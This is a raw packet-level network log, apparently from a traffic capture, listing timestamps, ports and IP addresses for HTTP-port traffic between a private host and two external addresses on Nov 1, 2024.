Nov 1, 2024 08:51:47.941952944 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.941958904 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941970110 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.941989899 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.942003965 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.942028046 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.942055941 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.942066908 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.942101002 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.944958925 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.984409094 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.984428883 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.984453917 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.995090008 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.014987946 CET	57830	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:48.015263081 CET	57879	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:48.015417099 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015428066 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015475988 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.015480995 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015518904 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.015547991 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015559912 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015595913 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.015623093 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015681982 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015722990 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.015732050 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015743017 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015777111 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.015866995 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015959978 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015970945 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015981913 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.015995026 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.016004086 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.016007900 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.016019106 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.016020060 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.016031027 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.016040087 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.016066074 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.016073942 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.016103983 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.016115904 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.016144991 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.020123005 CET	80	57879	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:48.020198107 CET	57879	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:48.020207882 CET	80	57830	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:48.020248890 CET	57830	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:48.020848036 CET	57879	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:48.023483992 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.025641918 CET	80	57879	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:48.056818962 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.056871891 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.056883097 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.056893110 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.056910992 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.056921959 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.056927919 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.056937933 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.056947947 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.056947947 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.056960106 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.056988955 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057010889 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057034016 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057044983 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057054996 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057065964 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057075024 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057092905 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057101965 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057111025 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057111979 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057126045 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057138920 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057143927 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057157040 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057163954 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057168961 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057180882 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057202101 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057220936 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057221889 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057233095 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057243109 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057265997 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057322025 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057332993 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057343006 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057364941 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057385921 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057389021 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057398081 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057409048 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057432890 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057435036 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057481050 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057552099 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057562113 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057571888 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057584047 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057598114 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057622910 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057626963 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.057636976 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.057672024 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058175087 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058211088 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058222055 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058258057 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058264971 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058275938 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058305025 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058334112 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058345079 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058356047 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058386087 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058397055 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058419943 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058432102 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058443069 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058470011 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058521032 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058537006 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058548927 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058557987 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058558941 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058572054 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058582067 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058590889 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058600903 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058609009 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058613062 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058625937 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058640957 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058651924 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058732033 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058743954 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058757067 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058768034 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.058784008 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058830023 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.058938980 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059020996 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059031963 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059042931 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059060097 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059068918 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059072971 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059077978 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059086084 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059098005 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059103012 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059108973 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059150934 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059154034 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059161901 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059171915 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059189081 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059195042 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059201956 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059212923 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059215069 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059226990 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059241056 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059263945 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059264898 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059277058 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059286118 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059304953 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059310913 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059324026 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059335947 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059349060 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059382915 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059535980 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059547901 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059559107 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059571028 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059582949 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059592962 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059597969 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059618950 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059631109 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059756041 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059767008 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059778929 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059802055 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059881926 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059928894 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.059941053 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059958935 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059968948 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059981108 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.059992075 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.060008049 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.060036898 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.062846899 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.105016947 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.105031967 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.105043888 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.105093956 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.105118036 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.132925987 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.132949114 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.132961035 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.132966042 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.132972002 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.132977009 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.132989883 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.132998943 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133009911 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133028030 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133028984 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.133039951 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133052111 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133080959 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.133094072 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.133210897 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133222103 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133233070 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133245945 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133255959 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133256912 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.133268118 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133281946 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133291960 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.133296967 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133305073 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.133307934 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.133466005 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174071074 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174125910 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174140930 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174174070 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174185038 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174196005 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174211025 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174252033 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174256086 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174268007 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174288988 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174290895 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174304008 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174326897 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174331903 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174344063 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174354076 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174370050 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174387932 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174474001 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174490929 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174501896 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174513102 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174524069 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174525976 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174540043 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174571991 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174571991 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.174952984 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174988031 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.174998999 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175029993 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.175060987 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175071001 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175081968 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175106049 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.175118923 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.175124884 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175137043 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175148010 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175165892 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175174952 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.175635099 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.175810099 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175878048 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175889969 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175901890 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175913095 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175924063 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.175925016 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175939083 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175945997 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.175956964 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175962925 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.175971031 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175982952 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175996065 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.175996065 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176017046 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176050901 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176067114 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176076889 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176084995 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176088095 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176105976 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176115990 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176122904 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176127911 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176140070 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176142931 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176151991 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176170111 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176193953 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176194906 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176208019 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176218987 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176230907 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176240921 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176243067 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176270008 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176314116 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176326036 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176336050 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176347017 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176357985 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176358938 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176377058 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176384926 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176388979 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176400900 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176402092 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176413059 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176423073 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176424980 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176436901 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176450014 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176462889 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176462889 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176470041 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176475048 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176492929 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176503897 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176515102 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176517010 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176527023 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176538944 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176542044 CET	57863	80	192.168.2.4	185.215.113.16
